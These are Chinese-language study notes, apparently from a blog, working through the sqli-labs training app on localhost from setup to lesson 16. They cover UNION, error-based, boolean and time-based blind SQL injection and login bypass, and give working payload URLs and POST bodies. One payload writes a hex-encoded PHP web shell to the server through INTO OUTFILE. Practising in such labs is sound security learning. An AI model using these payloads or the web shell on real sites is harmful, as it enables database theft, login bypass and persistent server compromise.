sqli-labs配置及基础篇学习笔记

Less-0

配置环境

下载安装phpstudy 2016,官网有旧版,尽量从官网下,安全。(别的版本试了,不太行)

安装后更改数据库密码为 root, 启动

从github下载sqli-labs 解压缩到phpstudy安装目录下的www目录,更改sql-connection文件夹下的db-creds.inc, 设置为

访问 http://127.0.0.1/sqli-labs/

点击 Setup/reset Database for labs 配置数据库,之后就可以痛苦的做题了

sql 注入基本过程

mysql基本使用

  1. 判断sql注入(根据返回的错误信息)

    单引号 ‘

    双引号 “

    and 1=1 或 and 1=2

    反斜杠 /

    注释(单行注释) –

    基于时间的盲注 sleep(5),’ and sleep(5), “ sleep(5)

  2. 判断是什么类型的注入,有没有过滤关键字,可否绕过

  3. 获取数据库用户,版本,当前连接数据库等信息

  4. 获取某个数据库表的信息

  5. 获取具体的数据

union 联合查询的使用

原作连接

group_concat 将查询结果的字符串拼接成一个字符串

查询数据库名: select database()

查询所有数据库名: union select group_concat(schema_name) from INFORMATION_SCHEMA.SCHEMATA
爆出所有数据库: select group_concat(schema_name) from INFORMATION_SCHEMA.SCHEMATA

查数据库名为security下面的表名: union select 1,table_name,3, from information_schema.tables where table_schema='security'
information_schema.tables: 存储mysql数据库下所有表名信息的表
table_schema: 数据库名
table_name: 表名

查询users表明下的列名信息: union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
information_schema.columns: 存储mysql数据库下所有列名信息的表
column_name: 列名
table_name: 表名

查询user表下列名为username, password的数据
union select 1,username,password from users
union select 1,group_concat(username),group_concat(password) from users // 拼接

Less-1

单引号闭合

提示输入id, 暗示存储类型为字符串

构造payload

http://127.0.0.1/sqli-labs/Less-1/?id=1

myql 种单引号和反引号的区别

#与–与–+

http://127.0.0.1/sqli-labs/Less-1/?id=1' //  报错
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 
表明 单引号进入MySQL语句

http://127.0.0.1/sqli-labs/Less-1/?id=1' or '1'='1  // 成功
Your Login name:Dumb
Your Password:Dumb

查看字段数为3

http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+ // 成功
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 4 --+ // 失败

测试union语句的返回结果 SELECT 1,2,3…的含义及其在SQL注入中的用法

http://127.0.0.1/sqli-labs/Less-1/?id=1' union select 1,2,3 --+

本来想的是应该返回union后查询的结果, 但是返回的是和之前的一样,查看发现网站文件使用的是 mysql_fetch_array($result), 只会获得结果的第一条非空的数据。应当设法是union前的语句的查询结果为空。id填为0

http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+

查看数据库版本与数据库名称

http://127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,version(),database() --+

payload

http://127.0.0.1/sqli-labs/Less-1/?id=1' union select 1,2,3 --+

Less-2

数字型不需要闭合

提示输入数字, 表示存储类型为数字

payload

http://127.0.0.1/sqli-labs/Less-2/?id=0 union select 1,database(),3 --+

Less-3

http://127.0.0.1/sqli-labs/Less-3/?id=1'
出错 near ''1'') LIMIT 0,1' at line 1

payload

http://127.0.0.1/sqli-labs/Less-3/?id=0') union select 1,database(),3 --+

Less-4

添加双引号报错

http://127.0.0.1/sqli-labs/Less-4/?id=1"    
near '"1"") LIMIT 0,1' at line 1

payload

http://127.0.0.1/sqli-labs/Less-4/?id=0") union select 1,database(),3 --+

Less-5

单引号报错

http://127.0.0.1/sqli-labs/Less-5/?id=1'
near ''1'' LIMIT 0,1' at line 1

把多余的注释掉

http://127.0.0.1/sqli-labs/Less-5/?id=1' --+ // 没报错

页面不会显示所有数据库查询到的结果,只会显示数据库的错误信息 (报错注入)

MySQL updatexml()、extractvalue() 报错型SQL注入

payload

pay1: 
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat(0x3a,(select database())),1) --+

pay2
http://127.0.0.1/sqli-labs/Less-5/?id=1' and 1=(updatexml(1,concat(0x3a,(select database())),1))%23

Less-6

将 less-5的截断符由单引号换位双引号即可(双引号闭合)

Less-7

试错, 错误时只知道有错

http://127.0.0.1/sqli-labs/Less-7/?id=1')) --+ // 成功

提示用into outfile来做, 即需要来写入文件(16进制编码)

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select null,0x3c3f70687020406576616c28245f504f53545b276b6579275d293b203f3e,null into outfile 'D:\\phpStudy\\WWW\\info.php' --+

写入一句话木马

Less-8

基于bool的盲注

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,1,1))) = 115 --+

可以判断的查询结果的某个字符的ascill的值

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+

判断长度

同样的方法填充查询语句即可

可以使用python 的request库来进行自动化的实现

Less-9

原理: 利用时间上的延迟来判断前面的结果是否为真

eg: ‘ and (length(database()) = 8) and if (1=1, sleep(5), null) –+

当数据库名字的长度为8的时候会执行sleep(5) 否则的话就直接返回否, 利用的是个条件的逻辑顺序

相当于是第八题 + sleep条件判断

payload:

http://127.0.0.1/sqli-labs/Less-9/?id=1' and (ascii(substr((select database()) ,1,1))) = 115 +and+if(1=1, sleep(1), null) --+

Less-10

将Less-9的单引号截断符改为双引号即可

Less-11

输入错误时报错如: admin’

username: 填入 admin' -- 注意最后应该有空格

显示登录成功

admin' order by 2 -- 

发现字段数为2

payload

Less-12

试探发现使用 admin") -- 最后用空格, 登录成功.

Less-13

填入 admin’ 得到报错信息

near ‘’admin’’) and password=(‘’) LIMIT 0,1’ at line 1

闭合方式 ‘)

利用Less-5的报错注入

payload

post: uname= admin') union select updatexml(1,concat(0x3a,(select database())),1) -- +&passwd=1&submit=Submit

Less-14

和Less-13 的闭合方式不同, 其他的都一样

post: uname= admin" union select updatexml(1,concat(0x3a,(select database())),1) -- +&passwd=1&submit=Submit

Less-15

什么提示都没有,无论登录成功还是失败

使用 admin’ –空格 登录成功, 闭合符为 '

利用登录是否成功进行盲注

post: uname=' or (length(database())) = 8 #&passwd=' or 1=1 -- &submit=Submit

参考 Less-8

Less-16

和Less-15 相似, 闭合符号不一样

payload

闭合: admin") -- 
post: uname=") or (length(database())) = 8 #&passwd=' or 1=1 -- &submit=Submit

总结

  1. 试探

    • 单引号
    • 双引号
    • 单引号/双引号 + 注释
    • 单引号/双引号 + )
    • 当引号/双引号 + ) + 注释
  2. 判断是要进行盲注还是进行报错注入或者进行简单的select 1,2,3 这样的注入

  3. 构造payload

  4. 编写自动化python代码, 执行大量的判断动作


   转载规则


《sqli-labs配置及基础篇学习笔记》 ZS 采用 知识共享署名 4.0 国际许可协议 进行许可。
  目录